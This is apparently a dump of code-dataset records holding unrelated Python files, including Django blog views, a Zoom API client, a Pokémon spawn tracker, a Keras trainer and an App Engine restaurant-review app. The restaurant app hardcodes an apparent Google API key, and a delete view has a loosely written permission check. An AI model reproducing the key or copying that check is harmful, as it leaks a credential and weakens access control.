updated')\n return HttpResponseRedirect(instance.get_absolute_url())\n else:\n messages.error(request, 'Cannot create post')\n\n context = {\n 'title': instance.title,\n 'instance': instance,\n 'form': form,\n }\n return render(request, 'post_form.html', context)\n\n\ndef post_delete(request, post_slug):\n \"\"\" Delete Post \"\"\"\n if not request.user.is_staff or not request.user.is_superuser:\n raise Http404\n\n instance = get_object_or_404(Post, slug=post_slug)\n instance.delete()\n return redirect('posts:list')\n", "sub_path": "src/posts/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 4666, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.http.Http404", "line_number": 20, "usage_type": "name"}, {"api_name": "django.http.Http404", "line_number": 23, "usage_type": "name"}, {"api_name": "forms.PostForm", "line_number": 25, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 30, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 30, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 31, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 38, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 44, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 44, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 45, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 45, "usage_type": "argument"}, {"api_name": "django.http.Http404", "line_number": 48, "usage_type": "name"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects.get_for_model", "line_number": 50, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 50, "usage_type": "argument"}, {"api_name": "django.contrib.contenttypes.models.ContentType.objects", "line_number": 50, "usage_type": "attribute"}, {"api_name": "django.contrib.contenttypes.models.ContentType", "line_number": 50, "usage_type": "name"}, {"api_name": "comments.models", "line_number": 52, "usage_type": "name"}, {"api_name": "comments.models.Comment.objects.filter", "line_number": 52, "usage_type": "call"}, {"api_name": "comments.models.Comment.objects", "line_number": 52, "usage_type": "attribute"}, {"api_name": "comments.models.Comment", "line_number": 52, "usage_type": "name"}, {"api_name": "comments.models", "line_number": 57, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 59, "usage_type": "call"}, {"api_name": "django.utils.timezone.now", "line_number": 64, "usage_type": "call"}, {"api_name": "django.utils.timezone", "line_number": 64, "usage_type": "name"}, {"api_name": "models.Post.objects.all", "line_number": 66, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 66, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 66, "usage_type": "name"}, {"api_name": "models.Post.objects.active", "line_number": 73, "usage_type": "call"}, {"api_name": "models.Post.objects", "line_number": 73, "usage_type": "attribute"}, {"api_name": "models.Post", "line_number": 73, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 79, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 80, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 81, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 82, "usage_type": "call"}, {"api_name": "django.core.paginator.Paginator", "line_number": 86, "usage_type": "call"}, {"api_name": "django.core.paginator.PageNotAnInteger", "line_number": 90, "usage_type": "name"}, {"api_name": "django.core.paginator.EmptyPage", "line_number": 93, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 102, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 108, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 110, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 110, "usage_type": "argument"}, {"api_name": "forms.PostForm", "line_number": 111, "usage_type": "call"}, {"api_name": "django.contrib.messages.success", "line_number": 117, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 117, "usage_type": "name"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 118, "usage_type": "call"}, {"api_name": "django.contrib.messages.error", "line_number": 120, "usage_type": "call"}, {"api_name": "django.contrib.messages", "line_number": 120, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 127, "usage_type": "call"}, {"api_name": "django.http.Http404", "line_number": 133, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 135, "usage_type": "call"}, {"api_name": "models.Post", "line_number": 135, "usage_type": "argument"}, {"api_name": "django.shortcuts.redirect", "line_number": 137, "usage_type": "call"}]} {"seq_id": "84748993", "text": "import requests\nimport json\nimport testeapi\n\n\ndef acessarapi(n_pag): #apenas acesa a api e retorna o resultado\n numpag = {'page_number':n_pag}\n conn = requests.request(\"GET\", \"https://api.zoom.us/v2/accounts\", headers=testeapi.headers, params=numpag).json()\n contas = conn['accounts']\n \n for i in contas:\n print[i, '\\n']\n\n ###testeapi.lista_subcontas.append()\n print(len(contas)) \n return(conn)\n\n\n", "sub_path": "reu2.py", "file_name": "reu2.py", "file_ext": "py", "file_size_in_byte": 430, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "requests.request", "line_number": 8, "usage_type": "call"}, {"api_name": "testeapi.headers", "line_number": 8, "usage_type": "attribute"}]} {"seq_id": "631186678", "text": "from queue import Queue\nfrom collections import deque\nfrom logging import getLogger\nfrom threading import Thread\nfrom sqlalchemy.exc import DBAPIError\nfrom time import time\nfrom random import shuffle\n\nimport asyncio\n\nfrom utils import dump_pickle, load_pickle, get_current_hour, time_until_time, round_coords, get_altitude, get_point_altitudes\n\nimport db\n\nclass Spawns:\n \"\"\"Manage spawn points and times\"\"\"\n session = db.Session()\n spawns = {}\n despawn_times = {}\n mysteries = set()\n altitudes = {}\n\n def __len__(self):\n return len(self.despawn_times)\n\n def update(self):\n self.spawns, self.despawn_times, m, a = db.get_spawns(self.session)\n self.mysteries.update(m)\n self.altitudes.update(a)\n if not self.altitudes:\n self.altitudes = get_point_altitudes()\n\n def have_id(self, spawn_id):\n return spawn_id in self.despawn_times\n\n def get_altitude(self, point):\n point = round_coords(point)\n alt = self.altitudes.get(point)\n if not alt:\n alt = get_altitude(point)\n self.altitudes[point] = alt\n return alt\n\n def items(self):\n return self.spawns.items()\n\n def get_mysteries(self):\n mysteries = deque(self.mysteries)\n shuffle(mysteries)\n return mysteries\n\n def add_mystery(self, point):\n rounded = round_coords(point, precision=4)\n self.mysteries.add(rounded)\n\n def have_mystery(self, point):\n rounded = round_coords(point, precision=4)\n return rounded in self.mysteries\n\n def add_despawn(self, spawn_id, despawn_time):\n self.despawn_times[spawn_id] = despawn_time\n\n def get_despawn_seconds(self, spawn_id):\n return self.despawn_times.get(spawn_id)\n\n def get_despawn_time(self, spawn_id, seen=None):\n if self.have_id(spawn_id):\n now = seen or time()\n hour = get_current_hour(now=now)\n despawn_time = self.get_despawn_seconds(spawn_id) + hour\n if now > despawn_time - 88:\n despawn_time += 3600\n return despawn_time\n else:\n return None\n\n def get_time_till_hidden(self, spawn_id):\n if not self.have_id(spawn_id):\n return None\n despawn_seconds = self.get_despawn_seconds(spawn_id)\n return time_until_time(despawn_seconds)\n\n @property\n def total_length(self):\n return len(self.despawn_times) + len(self.mysteries)\n\n\nclass DatabaseProcessor(Thread):\n spawns = Spawns()\n\n def __init__(self):\n super().__init__()\n self.queue = Queue()\n self.logger = getLogger('dbprocessor')\n self.running = True\n self._clean_cache = False\n self.count = 0\n self._commit = False\n\n def stop(self):\n self.running = False\n\n def add(self, obj):\n self.queue.put(obj)\n\n def run(self):\n session = db.Session()\n\n while self.running or not self.queue.empty():\n if self._clean_cache:\n try:\n db.SIGHTING_CACHE.clean_expired()\n db.MYSTERY_CACHE.clean_expired(session)\n except Exception as e:\n self.logger.error('Failed to clean cache. {}'.format(e))\n finally:\n self._clean_cache = False\n try:\n item = self.queue.get()\n\n if item['type'] == 'pokemon':\n if item['valid']:\n db.add_sighting(session, item)\n if item['valid'] == True:\n db.add_spawnpoint(session, item, self.spawns)\n else:\n db.add_mystery(session, item, self.spawns)\n self.count += 1\n elif item['type'] == 'fort':\n db.add_fort_sighting(session, item)\n elif item['type'] == 'pokestop':\n db.add_pokestop(session, item)\n elif item['type'] == 'kill':\n break\n self.logger.debug('Item saved to db')\n if self._commit:\n session.commit()\n self._commit = False\n except DBAPIError as e:\n session.rollback()\n self.logger.exception('A wild DB exception appeared! {}'.format(e))\n except Exception as e:\n self.logger.exception('A wild exception appeared! {}'.format(e))\n\n session.commit()\n session.close()\n\n def clean_cache(self):\n self._clean_cache = True\n\n def commit(self):\n self._commit = True\n", "sub_path": "shared.py", "file_name": "shared.py", "file_ext": "py", "file_size_in_byte": 4655, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "db.Session", "line_number": 17, "usage_type": "call"}, {"api_name": "db.get_spawns", "line_number": 27, "usage_type": "call"}, {"api_name": "utils.get_point_altitudes", "line_number": 31, "usage_type": "call"}, {"api_name": "utils.round_coords", "line_number": 37, "usage_type": "call"}, {"api_name": "utils.get_altitude", "line_number": 40, "usage_type": "call"}, {"api_name": "collections.deque", "line_number": 48, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 49, "usage_type": "call"}, {"api_name": "utils.round_coords", "line_number": 53, "usage_type": "call"}, {"api_name": "utils.round_coords", "line_number": 57, "usage_type": "call"}, {"api_name": "time.time", "line_number": 68, "usage_type": "call"}, {"api_name": "utils.get_current_hour", "line_number": 69, "usage_type": "call"}, {"api_name": "utils.time_until_time", "line_number": 81, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 88, "usage_type": "name"}, {"api_name": "queue.Queue", "line_number": 93, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 94, "usage_type": "call"}, {"api_name": "db.Session", "line_number": 107, "usage_type": "call"}, {"api_name": "db.SIGHTING_CACHE.clean_expired", "line_number": 112, "usage_type": "call"}, {"api_name": "db.SIGHTING_CACHE", "line_number": 112, "usage_type": "attribute"}, {"api_name": "db.MYSTERY_CACHE.clean_expired", "line_number": 113, "usage_type": "call"}, {"api_name": "db.MYSTERY_CACHE", "line_number": 113, "usage_type": "attribute"}, {"api_name": "db.add_sighting", "line_number": 123, "usage_type": "call"}, {"api_name": "db.add_spawnpoint", "line_number": 125, "usage_type": "call"}, {"api_name": "db.add_mystery", "line_number": 127, "usage_type": "call"}, {"api_name": "db.add_fort_sighting", "line_number": 130, "usage_type": "call"}, {"api_name": "db.add_pokestop", "line_number": 132, "usage_type": "call"}, {"api_name": "sqlalchemy.exc.DBAPIError", "line_number": 139, "usage_type": "name"}]} {"seq_id": "348575330", "text": "from django.urls import path\nfrom .views import VacancyDetailView,VacancyCreateView,VacancyUpdateView\n#from .views import VacancyListView,VacancyDetailView,VacancyCreateView,VacancyUpdateView\n\nfrom . import views #import all from views\n\nurlpatterns=[\n path('', views.vacancy_list,name='vacancylist'),\n path('search/',views.vacancy_search,name='vacancy-search'),\n #path('', views.VacancyListView.as_view(),name='vacancy-list'),\n path('/',VacancyDetailView.as_view(),name=\"vacancy-detail\"),\n path('vacancy/new/',VacancyCreateView.as_view(),name=\"vacancy-create\"),\n path('vacancy//update/',VacancyUpdateView.as_view(),name=\"vacancy-update\"),\n path('vacancy//delete/',views.vacancy_delete,name=\"vacancy-delete\"),\n #path('/', views.vacancy_detail,name='vacancy-detail'), # get and post req. for update operation\n \n]", "sub_path": "itjobvacancy/itjob/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 871, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "views.vacancy_list", "line_number": 8, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "views.vacancy_search", "line_number": 9, "usage_type": "attribute"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "views.VacancyDetailView.as_view", "line_number": 11, "usage_type": "call"}, {"api_name": "views.VacancyDetailView", "line_number": 11, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "views.VacancyCreateView.as_view", "line_number": 12, "usage_type": "call"}, {"api_name": "views.VacancyCreateView", "line_number": 12, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "views.VacancyUpdateView.as_view", "line_number": 13, "usage_type": "call"}, {"api_name": "views.VacancyUpdateView", "line_number": 13, "usage_type": "name"}, {"api_name": "django.urls.path", "line_number": 14, "usage_type": "call"}, {"api_name": "views.vacancy_delete", "line_number": 14, "usage_type": "attribute"}]} {"seq_id": "134818501", "text": "\"\"\"empty message\n\nRevision ID: b8c00e6c4696\nRevises: 1c10ad5f283d\nCreate Date: 2020-04-14 10:37:38.355248\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = 'b8c00e6c4696'\ndown_revision = '1c10ad5f283d'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_foreign_key(None, 'conditioning', 'session', ['workout_id'], ['id'])\n op.drop_column('conditioning', 'workout')\n op.drop_column('result', 'description')\n op.alter_column('session', 'account_id',\n existing_type=sa.INTEGER(),\n nullable=False)\n op.alter_column('session', 'date',\n existing_type=sa.DATE(),\n nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('session', 'date',\n existing_type=sa.DATE(),\n nullable=True)\n op.alter_column('session', 'account_id',\n existing_type=sa.INTEGER(),\n nullable=True)\n op.add_column('result', sa.Column('description', sa.VARCHAR(length=144), nullable=True))\n op.add_column('conditioning', sa.Column('workout', sa.VARCHAR(), nullable=False))\n op.drop_constraint(None, 'conditioning', type_='foreignkey')\n # ### end Alembic commands ###\n", "sub_path": "migrations/versions/b8c00e6c4696_.py", "file_name": "b8c00e6c4696_.py", "file_ext": "py", "file_size_in_byte": 1408, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "alembic.op.create_foreign_key", "line_number": 21, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 21, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 22, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 22, "usage_type": "name"}, {"api_name": "alembic.op.drop_column", "line_number": 23, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 23, "usage_type": "name"}, {"api_name": "alembic.op.alter_column", "line_number": 24, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 24, "usage_type": "name"}, {"api_name": "sqlalchemy.INTEGER", "line_number": 25, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 27, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 27, "usage_type": "name"}, {"api_name": "sqlalchemy.DATE", "line_number": 28, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 35, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 35, "usage_type": "name"}, {"api_name": "sqlalchemy.DATE", "line_number": 36, "usage_type": "call"}, {"api_name": "alembic.op.alter_column", "line_number": 38, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 38, "usage_type": "name"}, {"api_name": "sqlalchemy.INTEGER", "line_number": 39, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 41, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 41, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 41, "usage_type": "call"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 41, "usage_type": "call"}, {"api_name": "alembic.op.add_column", "line_number": 42, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 42, "usage_type": "name"}, {"api_name": "sqlalchemy.Column", "line_number": 42, "usage_type": "call"}, {"api_name": "sqlalchemy.VARCHAR", "line_number": 42, "usage_type": "call"}, {"api_name": "alembic.op.drop_constraint", "line_number": 43, "usage_type": "call"}, {"api_name": "alembic.op", "line_number": 43, "usage_type": "name"}]} {"seq_id": "105506593", "text": "from django.core.mail import send_mail, send_mass_mail, EmailMultiAlternatives\nfrom authentication import models\nimport os\nfrom email.mime.image import MIMEImage\n\n\ndef logo_data(path):\n with open(path, 'rb') as f:\n data = f.read()\n logo = MIMEImage(data)\n logo.add_header('Content-ID', '')\n return logo\n\n\ndef mail_new_version(request):\n username = ''\n if request.user.is_authenticated:\n username = request.user.username\n if username != 'admin':\n return 'Wrong User'\n\n BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n folder_path = os.path.join(BASE_DIR, 'Screenshots')\n\n screenshot_path = os.path.join(folder_path, '040.JPG')\n\n version = 'version 0.44'\n subject = 'View the crowdjump development on YouTube!'\n message1 = 'Hello '\n message2 = ',
'\n feature = \"you can now view a short clip about the development of Crowdjump, if you finished the short survey!\"\n message3 = '
To play the game, visit '\n html_content = 'Crowdjump.de :)'\n unsubscribe = '

Click here if you dont want to get this newsletter anymore'\n fromMail = 'crowdjump@gmail.com'\n\n try:\n for user in models.Account.objects.all():\n if not user.email_notification:\n print(user.username)\n continue\n\n final_message = message1 + user.username + message2 + feature + message3 + html_content + unsubscribe\n msg = EmailMultiAlternatives(subject, '', fromMail, [user.email])\n msg.attach_alternative(final_message, \"text/html\")\n # msg.attach(logo_data(screenshot_path))\n msg.send()\n except:\n print(\"error while sending the mail\")\n\n # final_message = message1 + 'admin' + message2 + feature + message3 + html_content + unsubscribe\n # msg = EmailMultiAlternatives(subject, '', fromMail, ['freshkd2@web.de'])\n # msg.attach_alternative(final_message, \"text/html\")\n # # msg.attach(logo_data(screenshot_path))\n # msg.send()\n\n return 'Mail send'\n", "sub_path": "Crowdjump/mailFunctions.py", "file_name": "mailFunctions.py", "file_ext": "py", "file_size_in_byte": 2139, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "email.mime.image.MIMEImage", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 25, "usage_type": "call"}, {"api_name": "os.path", "line_number": 25, "usage_type": "attribute"}, {"api_name": "authentication.models.Account.objects.all", "line_number": 38, "usage_type": "call"}, {"api_name": "authentication.models.Account", "line_number": 38, "usage_type": "attribute"}, {"api_name": "authentication.models", "line_number": 38, "usage_type": "name"}, {"api_name": "django.core.mail.EmailMultiAlternatives", "line_number": 44, "usage_type": "call"}]} {"seq_id": "451765168", "text": "import curses\nimport locale\nimport sys\n\nlocale.setlocale(locale.LC_ALL, '') # set your locale\n\nscr = curses.initscr()\nscr.clear()\nscr.addstr(0, 0, u'\\u3042'.encode('utf-8'))\nif (sys.version_info[0] < 3):\n ch=scr.getch()\nelse:\n ch=scr.get_wch()\nscr.refresh()\ncurses.endwin()\n", "sub_path": "lib/utf8.py", "file_name": "utf8.py", "file_ext": "py", "file_size_in_byte": 279, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "locale.setlocale", "line_number": 5, "usage_type": "call"}, {"api_name": "locale.LC_ALL", "line_number": 5, "usage_type": "attribute"}, {"api_name": "curses.initscr", "line_number": 7, "usage_type": "call"}, {"api_name": "sys.version_info", "line_number": 10, "usage_type": "attribute"}, {"api_name": "curses.endwin", "line_number": 15, "usage_type": "call"}]} {"seq_id": "179257285", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport argparse, json, sys\nsys.path.append('../')\n\nfrom keras.applications.vgg16 import VGG16\nfrom keras.preprocessing import image\nfrom keras.models import Model, model_from_json\nfrom keras.optimizers import SGD\nfrom system.Helper import Helper\nfrom system.Logger import Logger\nfrom Callbacks import KCallback\nfrom Mananger import Mananger\n\nclass Trainer:\n\n _helper = None\n _logger = None\n \n mananger = None\n model = None\n \n def __init__(self, args):\n\n self._helper = Helper()\n self._logger = Logger('Trainer')\n self.mananger = Mananger(args, self._logger)\n\n self.model = self.mananger.getModel()\n \n self.mananger.printModel(self.model)\n\n def start(self):\n\n # frozen the layout after the last\n for layer in self.model.layers[:len(self.model.layers)-2]:\n self._logger.info(\"Trainer: Layer {0} is not trainable\".format(layer.name))\n layer.trainable = False\n\n # traing the last layer\n for layer in self.model.layers[len(self.model.layers)-2:]:\n self._logger.info(\"Trainer: Layer {0} is trainable\".format(layer.name))\n layer.trainable = True\n\n self._logger.info('Trainer: compile the model')\n self.model.compile(optimizer=SGD(lr=0.0001, momentum=0.9), loss='categorical_crossentropy', metrics=['accuracy'])\n\n self._logger.info('Trainer: fit generator')\n \n k_generators = self.mananger.configFitGenerator()\n \n k_callbacks = self.mananger.getCallbacks()\n \n self.model.fit_generator(k_generators[\"g_train\"], k_generators[\"steps_per_epoch_train\"], epochs= k_generators[\"epochs\"], verbose=2, callbacks= self.mananger.getCallbacks(), validation_data= k_generators[\"g_validation\"], validation_steps=k_generators[\"steps_per_epoch_validation\"])\n \n self.mananger.save(self.model)", "sub_path": "applications/trainer/Trainer.py", "file_name": "Trainer.py", "file_ext": "py", "file_size_in_byte": 1967, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "system.Helper.Helper", "line_number": 26, "usage_type": "call"}, {"api_name": "system.Logger.Logger", "line_number": 27, "usage_type": "call"}, {"api_name": "Mananger.Mananger", "line_number": 28, "usage_type": "call"}, {"api_name": "keras.optimizers.SGD", "line_number": 47, "usage_type": "call"}]} {"seq_id": "174594307", "text": "import webapp2\nimport jinja2\nimport os \nimport json\nimport urllib\nimport hashlib\nimport cStringIO\nfrom google.appengine.ext import ndb\nfrom urllib import urlopen\nfrom google.appengine.api import users\n\nENVIRONMENT = jinja2.Environment(\n loader=jinja2.FileSystemLoader(os.path.join(os.path.dirname(__file__), 'templates')),\n extensions=['jinja2.ext.autoescape']\n)\n\ndef getImageURL(photo_references):\n imageURL = \"\"\n if photo_references == \"\":\n imageURL = \"/images/default.jpg\"\n else:\n url = \"https://maps.googleapis.com/maps/api/place/photo?maxwidth=936&photoreference=\"+photo_references+\"&key=AIzaSyAIneYJX2yCU2Fbh3ZzBmKjeZhLeayMLBg\"\n imageURL = urlopen(url).geturl()\n return imageURL\n\nclass Restaurant(ndb.Model):\n restaurantId = ndb.StringProperty()\n restaurantName = ndb.StringProperty()\n restaurantAddress = ndb.StringProperty()\n avgRating = ndb.FloatProperty()\n ratingCount = ndb.IntegerProperty()\n photo_reference = ndb.StringProperty()\n search_count = ndb.IntegerProperty()\n \nclass Reviews(ndb.Model):\n restaurantId = ndb.StringProperty()\n author = ndb.UserProperty()\n content = ndb.StringProperty(indexed=False)\n date = ndb.StringProperty()\n rating = ndb.IntegerProperty()\n innerDate = ndb.DateTimeProperty(auto_now_add=True)\n\nclass MainHandler(webapp2.RequestHandler):\n def get(self):\n restaurants_query = Restaurant.query().order(-Restaurant.avgRating, -Restaurant.ratingCount)\n restaurant = restaurants_query.fetch(1)\n \n imageURL = getImageURL(restaurant[0].photo_reference)\n reviewURL = '/reviews/' + restaurant[0].restaurantId\n \n restaurants_query = Restaurant.query().order(-Restaurant.search_count)\n hottest_result = restaurants_query.fetch(10)\n hottestURL = []\n for hottest in hottest_result:\n hot_url = {\n \"text\":hottest.restaurantAddress,\n \"href\":'/reviews/' + hottest.restaurantId\n }\n hottestURL.append(hot_url)\n \n page = ENVIRONMENT.get_template('index.html')\n page_value = {\n \"imageURL\":imageURL,\n \"reviewURL\":reviewURL,\n \"hottestURL\":hottestURL,\n }\n self.response.write(page.render(page_value)) \n \nclass AccountHandler(webapp2.RequestHandler):\n def get(self):\n user = users.get_current_user()\n if user:\n page = ENVIRONMENT.get_template('account.html')\n url = users.create_logout_url(self.request.path)\n reviews_query = Reviews.query(Reviews.author==user)\n reviews = reviews_query.fetch()\n for review in reviews:\n restaurant_query = Restaurant.query(Restaurant.restaurantId == review.restaurantId)\n restaurant = restaurant_query.fetch()[0]\n review.restaurant_name = restaurant.restaurantAddress\n review.restaurant_address = restaurant.restaurantName\n\n page_value = {\n \"user\":user,\n \"url\":url,\n \"reviews\":reviews,\n }\n self.response.write(page.render(page_value))\n else:\n uri = users.create_login_url(self.request.uri)\n self.redirect(uri)\n \n\n\n\nclass testingHandler(webapp2.RequestHandler):\n def get(self):\n m = hashlib.md5()\n m.update(\"HelloWorld\")\n self.response.write(m.hexdigest()[:16])\n \napp = webapp2.WSGIApplication([\n ('/', MainHandler),\n ('/account', AccountHandler),\n ('/testing', testingHandler),\n], debug=True)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 3637, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "jinja2.Environment", "line_number": 12, "usage_type": "call"}, {"api_name": "jinja2.FileSystemLoader", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "urllib.urlopen", "line_number": 23, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb.Model", "line_number": 26, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 26, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 27, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 27, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 28, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 28, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 29, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 29, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.FloatProperty", "line_number": 30, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 30, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.IntegerProperty", "line_number": 31, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 31, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 32, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 32, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.IntegerProperty", "line_number": 33, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 33, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.Model", "line_number": 35, "usage_type": "attribute"}, {"api_name": "google.appengine.ext.ndb", "line_number": 35, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 36, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 36, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.UserProperty", "line_number": 37, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 37, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 38, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 38, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.StringProperty", "line_number": 39, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 39, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.IntegerProperty", "line_number": 40, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 40, "usage_type": "name"}, {"api_name": "google.appengine.ext.ndb.DateTimeProperty", "line_number": 41, "usage_type": "call"}, {"api_name": "google.appengine.ext.ndb", "line_number": 41, "usage_type": "name"}, {"api_name": "webapp2.RequestHandler", "line_number": 43, "usage_type": "attribute"}, {"api_name": "webapp2.RequestHandler", "line_number": 69, "usage_type": "attribute"}, {"api_name": "google.appengine.api.users.get_current_user", "line_number": 71, "usage_type": "call"}, {"api_name": "google.appengine.api.users", "line_number": 71, "usage_type": "name"}, {"api_name": "google.appengine.api.users.create_logout_url", "line_number": 74, "usage_type": "call"}, {"api_name": "google.appengine.api.users", "line_number": 74, "usage_type": "name"}, {"api_name": "google.appengine.api.users.create_login_url", "line_number": 90, "usage_type": "call"}, {"api_name": "google.appengine.api.users", "line_number": 90, "usage_type": "name"}, {"api_name": "webapp2.RequestHandler", "line_number": 96, "usage_type": "attribute"}, {"api_name": "hashlib.md5", "line_number": 98, "usage_type": "call"}, {"api_name": "webapp2.WSGIApplication", "line_number": 102, "usage_type": "call"}]} {"seq_id": "403359079", "text": "\"\"\"\nThe MIT License (MIT)\n\nCopyright (c) 2020 James\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 